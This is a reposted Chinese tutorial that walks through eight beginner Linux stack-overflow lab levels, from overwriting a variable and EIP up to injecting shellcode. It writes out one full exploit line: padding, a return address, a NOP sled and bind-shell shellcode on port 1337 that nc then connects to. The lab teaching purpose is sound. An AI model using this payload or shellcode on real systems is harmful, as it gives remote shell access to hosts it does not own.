灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

栏目: 编程工具 · 发布时间: 5年前

内容简介:大家好,上一篇文章小弟发表/解了一个简单的pwn,剩下的2个level也已经有小伙伴帮忙解题了,感觉大家好像都挺喜欢该类型的。这次小弟打算开始写一个新的系列文章,如果写的不好,或者有什么意见、建议欢迎各位大佬点评。本篇文章为入门篇故仅提供了8个level的栈溢出练习实验,实验代码下载:

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

前言

大家好,上一篇文章小弟发表/解了一个简单的pwn,剩下的2个level也已经有小伙伴帮忙解题了,感觉大家好像都挺喜欢该类型的。这次小弟打算开始写一个新的系列文章,如果写的不好,或者有什么意见、建议欢迎各位大佬点评。本篇文章为入门篇故仅提供了8个level的栈溢出练习实验, 均未开启任何保护的 。后面的文章会进一步升级。

下载、实验环境

实验代码下载: https://pan.baidu.com/s/16bpbJoI5qdWctH3n6owqnw

实验环境:ubuntu 4.15

辅助插件:Peda 下载地址: https://github.com/longld/peda

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

开始实验

本次实验环境分别为 level0-level7 均提供了源码和编译好的程序

我们先查看一下c源码:

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

通过源码可以看出存在明显的栈溢出漏洞,我们先来运行看看,

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

通过简单的输入12个A和6个6,可以看到我们还是没有成功,

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

当我们输入70个‘A’时,发现程序弹出 我们已经能成功更改‘modified’变量了。

查看源码:

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

下面我们运行一个这个程序,当我们不带任何字符时,程序给出

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

说明我们还在“argc”代码块。

当我们运行并带入20个“A”时,程序给出

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

说明我们已经来到了“modified”函数出,但是我们还没到溢出点。

当我们运行并带入70个“A”时,程序给出

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

说明我们已经来到了“modified”函数出,并且我们也已经找到到溢出点。

(此处的0x41414141 为ascii码的 大写“A”)

通过上面简单的调试,我们就知道该怎么做了,如图:

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

查看源码:

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

下面我们运行一个这个程序,当我们不带任何字符时,程序给出

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

请让我们设置 ‘GREENIE’的环境变量,我们搜索一下看看本系统有没有,如图:

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

可以看到在该系统中并没有设置定义,下面我们就设置一下看看

本次就写了一个python,运行

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

我们查看一下源码:

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

下面我们运行一下这个程序看看,

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

通过输入70个“A”,可以发现程序接收了我们的输入,并成功控制了内存地址指针,但是我们还是在main下的‘fp’函数判断处,通过源代码我们知道有个‘win’函数,我们查看一下

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

通过 objdump 搜索到了,该函数的地址 “0x08048424”

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

(这里小伙伴们也可以使用IDA搜索)

下面我们就直接利用了

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

如图,我们已经成功控制内存地址跳转到win函数并执行。

我们查看一下源码:

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

可以看到源码里的‘win’函数被定义了,但是没有被程序直接调用,该等级还是一样,我们要控制内存指针到win函数运行。

下面我们开始如何判断偏移量,需要借助 gdb工具的 peda插件,能帮助我们节省很多工作

1.用gdb加载该level,并使用 “pattern_create” 来生产80个规律且均不一样的字符

2.使用 run 运行该程序,并输入刚刚生产的字符,回车

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

3.eip成功被改为 0x41344141

4.通过 “pattern_offset” 得出偏移量为 76个字节

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

最后我们确认一下该偏移量是否正确,如图:

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

可以看到溢出位是正确的,下面我们跟上面一样继续搜索 ‘win’函数的地址

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

最后利用成功:

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

我们查看一下源码:

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

下面老规矩,我们来确定偏移量,操作如图:

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

这里为什么要生产200个字符哪?因为我们要往内写入shellcode,所以我们要判断一下大概能写入多少字节,防止shellcode过大,无法放入的问题,

如图:

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

可以看到刚刚生产的200个字符,覆盖掉偏移量后剩下的字符被成功放入,其实地址从 0xffffd0c8 – 0xffffd050 = 0x78 转化为十进制刚刚好是120个字节,故我们能写入一些正常的shellcode(msf生成的大部分为100个字节左右),

下一步我们就是直接编写exploit的了,如图:

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

76个‘A’后面跟的是ESP的地址上图有,后面带入10个‘nop’空指令(防止我们的shellcode被破坏),最后为shellcode代码 输出到s5.txt文件内,(该段shellcode代码为在本机开启1337端口等待链接 (其他更多功能shellcode,请移步 https://www.exploit-db.com/shellcodes))

下面我们让程序来加载s5.txt运行

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

我们确认一下shellcode是否成功被执行,查看一下:

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

本机1337端口成功被打开并等待链接,我们使用nc链接并成功拿到shell

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

我们查看一下源码:

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

下面老规矩,我们来确定偏移量,操作如图:

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

偏移量为80,下面我们来确认一下偏移量是否正确,

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

通过测试可以看到偏移量是对的,我们也能成功控制ESP,下面我们来确认查看写入内存空间的大小,如图:

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

可以看到一大堆,那写shellcode就够了,小弟懒就不去算了。。。

下面重点来了,这里可以看到我们的源代码处要求我们在0xbf00000内找ret,但是我们这里的环境没有这个地址,那怎么办呢?各位请注意,它不是要‘ret’吗?那我们就找一下本地系统的ret给它啊,反正我们不是也能控制指令吗?那么如图:

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

可以看到我们找到很多,这里就随便挑一个吧,所以我们这里的exp是这样的:

echo python -c "print 'A'*80+'x5fx83x04x08'+'x44xd0xffxff'+'x90'*10+'x6ax66x58x6ax01x5bx31xf6x56x53x6ax02x89xe1xcdx80x5fx97x93xb0x66x56x66x68x05x39x66x53x89xe1x6ax10x51x57x89xe1xcdx80xb0x66xb3x04x56x57x89xe1xcdx80xb0x66x43x56x56x57x89xe1xcdx80x59x59xb1x02x93xb0x3fxcdx80x49x79xf9xb0x0bx68x2fx2fx73x68x68x2fx62x69x6ex89xe3x41x89xcaxcdx80'" > s6.txt

我们执行后,成功拿到shell

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

我们先查看一下源码

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

下面老规矩,我们来确定偏移量,操作如图:

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

‘ret’地址查找

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

下面我们来写个规范一点exploit脚本,如图:

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

(注:小弟在写这个exp的时候虚拟机重启一下,故 esp地址发生的改变,只需要获取新地址修改一下即可。shellcode为上面那个)

下面运行脚本,加载执行文件,如图:

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

成功拿到shell。

最后再说一下,本次文章中的前面几个level,均未开启任何保护,如图:

level7:

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

level1:

灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇

结语

通过本章的学习,相信小伙伴们也都能理解什么叫栈溢出,栈溢出是怎么调试操作的,希望各位小伙伴们也在自己环境中调试实验,希望小伙伴们都能理解,因为后面的文章难度会加高。最后祝您及家人生活愉快,新春快乐!! :)


以上所述就是小编给大家介绍的《灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

算法与数据结构(第二版)

算法与数据结构(第二版)

傅清祥、王晓东 / 电子工业出版社 / 2001-8-1 / 34.00

本书是《计算机学科教学计划1993》的配套教材之一。它覆盖了《计算机学科教学计划1993》中开列的关于算法与数据结构主科目的所有知识单元。其主要内容有:算法与数据结构的概念、抽象数据类型(ADT)、基于序列的ADT(如表,栈,队列和串等)。反映层次关系的ADT(如树,堆和各种平衡树等)、关于集合的ADT(如字典,优先队列和共查集等)、算法设计的策略与技巧、排序与选择算法、图的算法、问题的计算复杂性一起来看看 《算法与数据结构(第二版)》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试